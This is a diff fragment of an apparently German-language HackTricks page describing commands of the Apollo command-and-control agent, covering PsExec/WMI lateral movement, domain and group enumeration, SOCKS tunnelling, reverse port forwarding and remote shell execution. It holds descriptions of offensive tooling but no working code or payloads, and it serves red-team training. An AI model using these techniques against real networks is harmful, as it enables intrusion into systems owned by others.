- `jump_psexec`: Verwendet die PsExec-Technik, um lateral zu einem neuen Host zu wechseln, indem zuerst die Apollo-Agenten-Executable (apollo.exe) kopiert und ausgeführt wird.
|
||||
- `jump_wmi`: Verwendet die WMI-Technik, um lateral zu einem neuen Host zu wechseln, indem zuerst die Apollo-Agenten-Executable (apollo.exe) kopiert und ausgeführt wird.
|
||||
- `wmiexecute`: Führt einen Befehl auf dem lokalen oder angegebenen Remote-System mithilfe von WMI aus, mit optionalen Anmeldeinformationen zur Identitätsübernahme.
|
||||
- `wmiexecute`: Führt einen Befehl auf dem lokalen oder angegebenen Remote-System unter Verwendung von WMI aus, mit optionalen Anmeldeinformationen zur Identitätsübernahme.
|
||||
- `net_dclist`: Ruft eine Liste von Domänencontrollern für die angegebene Domäne ab, nützlich zur Identifizierung potenzieller Ziele für laterale Bewegung.
|
||||
- `net_localgroup`: Listet lokale Gruppen auf dem angegebenen Computer auf, standardmäßig localhost, wenn kein Computer angegeben ist.
|
||||
- `net_localgroup_member`: Ruft die Mitgliedschaft in lokalen Gruppen für eine angegebene Gruppe auf dem lokalen oder Remote-Computer ab, was die Aufzählung von Benutzern in bestimmten Gruppen ermöglicht.
|
||||
@ -151,15 +153,18 @@ Wenn Benutzer über Linux arbeitet, gibt es einige interessante Befehle:
|
||||
### Laterale Bewegung
|
||||
|
||||
- `ssh`: SSH zu einem Host mit den angegebenen Anmeldeinformationen und öffnet ein PTY, ohne ssh zu starten.
|
||||
- `sshauth`: SSH zu angegebenen Host(s) mit den vorgesehenen Anmeldeinformationen. Sie können dies auch verwenden, um einen bestimmten Befehl auf den Remote-Hosts über SSH auszuführen oder um Dateien mit SCP zu übertragen.
|
||||
- `sshauth`: SSH zu angegebenen Host(s) mit den angegebenen Anmeldeinformationen. Sie können dies auch verwenden, um einen bestimmten Befehl auf den Remote-Hosts über SSH auszuführen oder um Dateien mit SCP zu übertragen.
|
||||
- `link_tcp`: Verbindet sich über TCP mit einem anderen Agenten, was eine direkte Kommunikation zwischen den Agenten ermöglicht.
|
||||
- `link_webshell`: Verbindet sich mit einem Agenten über das Webshell-P2P-Profil, was den Remote-Zugriff auf die Weboberfläche des Agenten ermöglicht.
|
||||
- `rpfwd`: Startet oder stoppt eine Reverse-Port-Weiterleitung, die den Remote-Zugriff auf Dienste im Zielnetzwerk ermöglicht.
|
||||
- `socks`: Startet oder stoppt einen SOCKS5-Proxy im Zielnetzwerk, der das Tunneln von Datenverkehr durch den kompromittierten Host ermöglicht. Kompatibel mit Tools wie proxychains.
|
||||
- `portscan`: Scannt Host(s) nach offenen Ports, nützlich zur Identifizierung potenzieller Ziele für laterale Bewegungen oder weitere Angriffe.
|
||||
- `portscan`: Scannt Host(s) nach offenen Ports, nützlich zur Identifizierung potenzieller Ziele für laterale Bewegung oder weitere Angriffe.
|
||||
|
||||
### Prozesse ausführen
|
||||
|
||||
- `shell`: Führt einen einzelnen Shell-Befehl über /bin/sh aus, was die direkte Ausführung von Befehlen auf dem Zielsystem ermöglicht.
|
||||
- `run`: Führt einen Befehl von der Festplatte mit Argumenten aus, was die Ausführung von Binärdateien oder Skripten auf dem Zielsystem ermöglicht.
|
||||
- `pty`: Öffnet ein interaktives PTY, was die direkte Interaktion mit der Shell auf dem Zielsystem ermöglicht.
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user